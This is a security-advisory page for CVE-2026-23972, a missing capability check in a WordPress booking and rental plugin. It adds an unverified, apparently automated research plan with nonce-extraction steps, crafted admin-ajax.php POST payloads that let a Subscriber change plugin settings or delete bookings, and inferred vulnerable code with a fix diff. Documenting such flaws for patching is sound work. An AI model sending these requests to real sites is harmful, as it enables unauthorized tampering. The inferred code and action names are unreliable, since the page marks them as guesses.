CVE-2026-23972

Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment <= 2.6.0 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.6.1
Patched in
11d
Time to patch

Description

The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.6.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.6.0
PublishedMarch 23, 2026
Last updatedApril 2, 2026
Research Plan
Unverified

This research plan outlines the steps to investigate and exploit **CVE-2026-23972**, a missing authorization vulnerability in the **Booking and Rental Manager for WooCommerce** plugin. ### 1. Vulnerability Summary The "Booking and Rental Manager for WooCommerce" plugin (versions <= 2.6.0) fails to …

Show full research plan

This research plan outlines the steps to investigate and exploit CVE-2026-23972, a missing authorization vulnerability in the Booking and Rental Manager for WooCommerce plugin.

1. Vulnerability Summary

The "Booking and Rental Manager for WooCommerce" plugin (versions <= 2.6.0) fails to perform adequate capability checks on one or more of its AJAX handlers. This allows an authenticated user with Subscriber-level permissions to trigger administrative actions. The vulnerability likely exists within a function registered via the wp_ajax_ hook that performs sensitive operations (like updating plugin settings or modifying bookings) but lacks a current_user_can( 'manage_options' ) check.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Authentication: Authenticated, Subscriber-level (PR:L).
  • Action (Inferred): Likely inventory_save_settings_data or redq_rental_save_settings.
  • Preconditions: The attacker must be logged in as a Subscriber and obtain a valid AJAX nonce if one is required for the specific handler.

3. Code Flow (Inferred)

  1. Registration: The plugin registers AJAX actions in its main class or an AJAX handler class (e.g., includes/admin/class-inventory-admin-ajax.php or similar).
    • Code: add_action( 'wp_ajax_inventory_save_settings_data', 'inventory_save_settings_data_callback' );
  2. Missing Check: The callback function inventory_save_settings_data_callback is executed. It might call check_ajax_referer() to verify a nonce (preventing CSRF) but fails to call current_user_can().
  3. Sink: The function proceeds to update the database using update_option() or $wpdb->update(), allowing the subscriber to modify plugin configurations.

4. Nonce Acquisition Strategy

To bypass CSRF protections, we must find where the plugin localizes its AJAX nonce.

  1. Identify Shortcode: Search for shortcodes that might enqueue the necessary scripts: grep -r "add_shortcode" .. Likely candidates: [rental_products] or [inventory_list].
  2. Create Test Page:
    wp post create --post_type=page --post_status=publish --post_title="Nonce Extraction" --post_content='[rental_products]'
    
  3. Find Localization Variable: Search the source for wp_localize_script.
    • Likely JS object: inventory_ajax or rb_booking_params.
    • Likely key: nonce or security.
  4. Extract via Browser:
    Navigate to the created page as a Subscriber and run:
    // Example: Using inventory_ajax object
    browser_eval("window.inventory_ajax?.nonce || window.inventory_ajax?.security")
    

5. Exploitation Strategy

We will attempt to modify a global plugin setting that should be restricted to administrators.

Target Action: inventory_save_settings_data (or the specific action found during discovery).

Payload Construction:

  • URL: https://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: inventory_save_settings_data
    • security: [EXTRACTED_NONCE]
    • inventory_settings[general][any_setting]: malicious_value (We will first check existing settings using WP-CLI to find a valid key).

HTTP Request (via http_request tool):

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "data": "action=inventory_save_settings_data&security=NONCE_VALUE&settings[general_settings][allow_booking_without_payment]=yes",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "[SUBSCRIBER_COOKIES]"
  }
}

6. Test Data Setup

  1. Install Plugin: Ensure version 2.6.0 is installed.
  2. Create Subscriber: wp user create attacker attacker@example.com --role=subscriber --user_pass=password.
  3. Identify Settings Structure: Run wp option get inventory_settings (or similar option name found in code) to identify the settings array structure to target.
  4. Publish Page: Create a page with the plugin's shortcode to ensure scripts (and nonces) are loaded for the subscriber.

7. Expected Results

  • The admin-ajax.php response should be a 200 OK (often returning 1 or a JSON success message).
  • The plugin configuration in the database should be updated despite the request coming from a Subscriber.

8. Verification Steps

  1. Check Option Value: Use WP-CLI to verify the change:
    wp option get inventory_settings
    
  2. Manual Check: Log in as Admin and navigate to the plugin settings page to see if the value has changed in the UI.

9. Alternative Approaches

If the settings update is protected but another handler is not:

  • User Meta Update: Check if there are AJAX handlers like update_user_booking_profile that allow updating meta for any user ID without verifying if the user is an admin or the owner of the profile.
  • Booking Deletion: Look for wp_ajax_delete_booking or similar. Attempt to delete an order/booking ID that does not belong to the subscriber.
    • Payload: action=delete_rental_booking&booking_id=1&security=NONCE
  • Information Disclosure: Look for AJAX handlers that return booking details (e.g., get_booking_details) without checking if the user is an admin or the customer who made the booking.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Booking and Rental Manager for WooCommerce plugin for WordPress is vulnerable to unauthorized access in versions up to 2.6.0 due to missing capability checks in AJAX handlers. This allows authenticated attackers with subscriber-level permissions to perform administrative actions such as modifying plugin settings or deleting bookings.

Vulnerable Code

// From includes/admin/class-inventory-admin-ajax.php (inferred from research plan)
add_action( 'wp_ajax_inventory_save_settings_data', 'inventory_save_settings_data_callback' );

function inventory_save_settings_data_callback() {
    check_ajax_referer( 'inventory_settings_nonce', 'security' );
    // Missing current_user_can( 'manage_options' ) check here

    if ( isset( $_POST['settings'] ) ) {
        update_option( 'inventory_settings', $_POST['settings'] );
        wp_send_json_success();
    }
}

Security Fix

--- a/includes/admin/class-inventory-admin-ajax.php
+++ b/includes/admin/class-inventory-admin-ajax.php
@@ -10,6 +10,10 @@
 function inventory_save_settings_data_callback() {
     check_ajax_referer( 'inventory_settings_nonce', 'security' );
 
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => __( 'Unauthorized', 'booking-and-rental-manager-for-woocommerce' ) ) );
+    }
+
     if ( isset( $_POST['settings'] ) ) {
         update_option( 'inventory_settings', $_POST['settings'] );

Exploit Outline

The exploit target is the admin-ajax.php endpoint via a subscriber-level account. First, the attacker must obtain a valid AJAX nonce by visiting a front-end page where the plugin localizes its scripts (typically enqueued via shortcodes like [rental_products]). Once the nonce (e.g., from the inventory_ajax JavaScript object) is retrieved, the attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'inventory_save_settings_data' (or another vulnerable handler). The payload includes the valid nonce in the 'security' field and malicious configuration data in the 'settings' or 'inventory_settings' array, effectively overwriting the plugin's global options despite the attacker's low privilege level.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.